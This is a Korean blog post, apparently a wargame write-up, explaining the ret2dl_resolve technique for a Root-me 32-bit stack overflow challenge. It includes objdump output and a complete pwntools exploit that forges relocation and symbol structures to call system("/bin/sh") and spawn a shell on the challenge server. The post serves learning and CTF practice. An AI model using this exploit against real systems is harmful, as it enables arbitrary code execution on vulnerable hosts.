- 서론
오랜만에 이론 글을 쓴다.
root me 문제를 풀다가 NX, Relro, ASLR로 인해 rop이 가능할 것으로 판단하였고,
이에 memory leak이 필요한데 출력관련 함수가 하나도 없었다.
아무리 ASLR이라도 1/4096 확률로 성공 가능할 것으로 판단했던 brute force 또한 먹히지 않았다.
결국 무슨 수를 써서라도 memory leak을 하거나 다른 방법을 택해야했다.
이는 그 중 한가지 방법이며, got에 실제 주소가 쓰여지는 방식 자체를 공략하는 것이다.
- 원리
관련 문제와 풀이는 아래와 같고, 이 글도 아래 문제를 기준으로 한다.
2022.11.09 - [Wargame/Root me] - [App-system] ELF x86 - Stack buffer overflow - ret2dl_resolve
와... 대충 이해는 되는데, 확실히 이해가 안된다.
사실 글을 꽤나 썼는데, 도저히 전체를 이해할 수 없어서 요약해서 쓰기로 했다.
got에 실제 주소가 쓰여지기 위해서
_dl_runtime_resolve() → _dl_fixup() → _dl_lookup_symbol_x() → do_lookup_x()→ check_match()
의 함수를 거쳐 가져오게 된다.
결국 실제 주소는 "함수의 이름"을 비교해서 가져오는 것이며,
함수의 이름은 파일의 string table을 통해 가져오게 된다.
또한 string table에는 여러 값이 들어있기 때문에 이를 offset을 통해 가져오는데, 이는 다시 symbol table을 참조한다.
이는 바이너리의 head만 보면 알 수 있는데, 각각 .dynstr과 .dynsym의 주소이다.
더불어 최종적으로 찾고하는 함수의 주소를 .rel.ptl의 주소를 참고한다.
app-systeme-ch77@challenge03:~$ objdump -x ch77
ch77: file format elf32-i386
ch77
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048310
Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x00000120 memsz 0x00000120 flags r--
INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
filesz 0x00000013 memsz 0x00000013 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00000604 memsz 0x00000604 flags r-x
LOAD off 0x00000f08 vaddr 0x08049f08 paddr 0x08049f08 align 2**12
filesz 0x00000114 memsz 0x0000eb98 flags rw-
DYNAMIC off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**2
filesz 0x000000e8 memsz 0x000000e8 flags rw-
NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off 0x000004e0 vaddr 0x080484e0 paddr 0x080484e0 align 2**2
filesz 0x0000003c memsz 0x0000003c flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
filesz 0x00000000 memsz 0x00000000 flags rw-
RELRO off 0x00000f08 vaddr 0x08049f08 paddr 0x08049f08 align 2**0
filesz 0x000000f8 memsz 0x000000f8 flags r--
Dynamic Section:
NEEDED libc.so.6
INIT 0x080482a8
FINI 0x080484c4
INIT_ARRAY 0x08049f08
INIT_ARRAYSZ 0x00000004
FINI_ARRAY 0x08049f0c
FINI_ARRAYSZ 0x00000004
GNU_HASH 0x080481ac
STRTAB 0x0804821c
SYMTAB 0x080481cc
STRSZ 0x0000004a
SYMENT 0x00000010
DEBUG 0x00000000
PLTGOT 0x0804a000
PLTRELSZ 0x00000010
PLTREL 0x00000011
JMPREL 0x08048298
REL 0x08048290
RELSZ 0x00000008
RELENT 0x00000008
VERNEED 0x08048270
VERNEEDNUM 0x00000001
VERSYM 0x08048266
Version References:
required from libc.so.6:
0x0d696910 0x00 02 GLIBC_2.0
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048154 08048154 00000154 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048168 08048168 00000168 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 08048188 08048188 00000188 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .gnu.hash 00000020 080481ac 080481ac 000001ac 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynsym 00000050 080481cc 080481cc 000001cc 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynstr 0000004a 0804821c 0804821c 0000021c 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version 0000000a 08048266 08048266 00000266 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version_r 00000020 08048270 08048270 00000270 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.dyn 00000008 08048290 08048290 00000290 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rel.plt 00000010 08048298 08048298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .init 00000023 080482a8 080482a8 000002a8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .plt 00000030 080482d0 080482d0 000002d0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt.got 00000008 08048300 08048300 00000300 2**3
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 000001b2 08048310 08048310 00000310 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 080484c4 080484c4 000004c4 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000008 080484d8 080484d8 000004d8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 0000003c 080484e0 080484e0 000004e0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000000e8 0804851c 0804851c 0000051c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000004 08049f08 08049f08 00000f08 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000004 08049f0c 08049f0c 00000f0c 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .jcr 00000004 08049f10 08049f10 00000f10 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .dynamic 000000e8 08049f14 08049f14 00000f14 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got 00000004 08049ffc 08049ffc 00000ffc 2**2
CONTENTS, ALLOC, LOAD, DATA
23 .got.plt 00000014 0804a000 0804a000 00001000 2**2
CONTENTS, ALLOC, LOAD, DATA
24 .data 00000008 0804a014 0804a014 00001014 2**2
CONTENTS, ALLOC, LOAD, DATA
25 .bss 0000ea80 0804a020 0804a020 0000101c 2**5
ALLOC
26 .comment 00000023 00000000 00000000 0000101c 2**0
CONTENTS, READONLY
SYMBOL TABLE:
08048154 l d .interp 00000000 .interp
08048168 l d .note.ABI-tag 00000000 .note.ABI-tag
08048188 l d .note.gnu.build-id 00000000 .note.gnu.build-id
080481ac l d .gnu.hash 00000000 .gnu.hash
080481cc l d .dynsym 00000000 .dynsym
0804821c l d .dynstr 00000000 .dynstr
08048266 l d .gnu.version 00000000 .gnu.version
08048270 l d .gnu.version_r 00000000 .gnu.version_r
08048290 l d .rel.dyn 00000000 .rel.dyn
08048298 l d .rel.plt 00000000 .rel.plt
080482a8 l d .init 00000000 .init
080482d0 l d .plt 00000000 .plt
08048300 l d .plt.got 00000000 .plt.got
08048310 l d .text 00000000 .text
080484c4 l d .fini 00000000 .fini
080484d8 l d .rodata 00000000 .rodata
080484e0 l d .eh_frame_hdr 00000000 .eh_frame_hdr
0804851c l d .eh_frame 00000000 .eh_frame
08049f08 l d .init_array 00000000 .init_array
08049f0c l d .fini_array 00000000 .fini_array
08049f10 l d .jcr 00000000 .jcr
08049f14 l d .dynamic 00000000 .dynamic
08049ffc l d .got 00000000 .got
0804a000 l d .got.plt 00000000 .got.plt
0804a014 l d .data 00000000 .data
0804a020 l d .bss 00000000 .bss
00000000 l d .comment 00000000 .comment
00000000 l df *ABS* 00000000 crtstuff.c
08049f10 l O .jcr 00000000 __JCR_LIST__
08048370 l F .text 00000000 deregister_tm_clones
080483a0 l F .text 00000000 register_tm_clones
080483e0 l F .text 00000000 __do_global_dtors_aux
0804a020 l O .bss 00000001 completed.6712
08049f0c l O .fini_array 00000000 __do_global_dtors_aux_fini_array_entry
08048400 l F .text 00000000 frame_dummy
08049f08 l O .init_array 00000000 __frame_dummy_init_array_entry
00000000 l df *ABS* 00000000 ch77.c
00000000 l df *ABS* 00000000 crtstuff.c
08048600 l O .eh_frame 00000000 __FRAME_END__
08049f10 l O .jcr 00000000 __JCR_END__
00000000 l df *ABS* 00000000
08049f0c l .init_array 00000000 __init_array_end
08049f14 l O .dynamic 00000000 _DYNAMIC
08049f08 l .init_array 00000000 __init_array_start
080484e0 l .eh_frame_hdr 00000000 __GNU_EH_FRAME_HDR
0804a000 l O .got.plt 00000000 _GLOBAL_OFFSET_TABLE_
080484c0 g F .text 00000002 __libc_csu_fini
00000000 F *UND* 00000000 read@@GLIBC_2.0
08048360 g F .text 00000004 .hidden __x86.get_pc_thunk.bx
0804a014 w .data 00000000 data_start
0804a040 g O .bss 0000ea60 workaround
0804a01c g .data 00000000 _edata
080484c4 g F .fini 00000000 _fini
0804a014 g .data 00000000 __data_start
00000000 w *UND* 00000000 __gmon_start__
0804a018 g O .data 00000000 .hidden __dso_handle
080484dc g O .rodata 00000004 _IO_stdin_used
00000000 F *UND* 00000000 __libc_start_main@@GLIBC_2.0
08048460 g F .text 0000005d __libc_csu_init
08058aa0 g .bss 00000000 _end
08048350 g F .text 00000002 .hidden _dl_relocate_static_pie
08048310 g F .text 00000000 _start
080484d8 g O .rodata 00000004 _fp_hw
0804a01c g .bss 00000000 __bss_start
0804842d g F .text 0000002c main
0804a01c g O .data 00000000 .hidden __TMC_END__
080482a8 g F .init 00000000 _init
전체적인 공격 구조는 fake structure를 만든 뒤 여기로 return하게하는 것이며,
이를 위해 필요한 주소는
.dynsym
.dynstr
.rel.plt
.plt
.bss
제공된 함수의 plt와 got address
가 된다.
대략적인 공격 코드는 아래와 같아지며, 나중에 필요할때 사용하는 함수나 프로그램 실행 후 overflow까지 도달하는 코드 등만 삽입하면 될 것으로 보인다.
from pwn import *
from struct import *
#context.log_level = 'debug'
elf = ELF('/challenge/app-systeme/ch77/ch77')
# get section address
addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt = elf.get_section_by_name('.plt').header['sh_addr']
addr_bss = elf.get_section_by_name('.bss').header['sh_addr']
addr_plt_read = elf.plt['read']
addr_got_read = elf.got['read']
log.info('Section Headers')
log.info('.dynsym : ' + hex(addr_dynsym))
log.info('.dynstr : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt : ' + hex(addr_plt))
log.info('.bss : ' + hex(addr_bss))
log.info('read@plt : ' + hex(addr_plt_read))
log.info('read@got : ' + hex(addr_got_read))
addr_pop3 = 0x080484b9
addr_pop_ebp = 0x080484bb
addr_leave_ret = 0x08048398
stack_size = 0x300
base_stage = addr_bss + stack_size
#read(0,base_stage,100)
#jmp base_stage
buf1 = b'A'* 0x1c
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)
addr_fake_reloc = base_stage + 20
addr_fake_sym = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd = addr_fake_symstr +7
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF #FAKE ELF32_R_SYM
fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr
log.info('')
log.info('Fake Struct Information')
log.info('fake_reloc_offset : ' + hex(fake_reloc_offset))
log.info('addr_fake_cmd : ' + hex(addr_fake_cmd))
log.info('addr_got_read : ' + hex(addr_got_read))
log.info('fake_r_info : ' + hex(fake_r_info))
log.info('fake_st_name : ' + hex(fake_st_name))
#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = b'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += b'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read)
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += b'system\x00'
#String "/bin/sh"
buf2 += b'/bin/sh\x00'
binary = ELF(elf.path)
#p = process(binary.path)
p = ssh(user='app-systeme-ch77',host='challenge03.root-me.org',port=56577,password='app-systeme-ch77')
#p=remote('challenge03.root-me.org', 56577)
p.send(buf1)
p.send(buf2)
p.interactive()
- 결론
코드의 흐름 및 공격의 원리는 이해했는데, 실제로 모두 다 이해하지는 못했다...
vtable때도 이정도는 아니었는데...
그래도 코드를 기반으로 공격하는 것이기에 정형화된 공격 코드가 작성되는 문제이며,
추후에 동일 문제가 나오면 다시 시도해봐야겠다.
'Tips & theory' 카테고리의 다른 글
dockerfile for pwnable [2022-11-23] (2) | 2022.11.19 |
---|---|
for "One" (0) | 2022.11.10 |
Continuous free bug (double free bug) (0) | 2022.10.06 |
source code site (0) | 2022.09.19 |
gdb core 파일이 생성되지 않을 때 (0) | 2022.09.16 |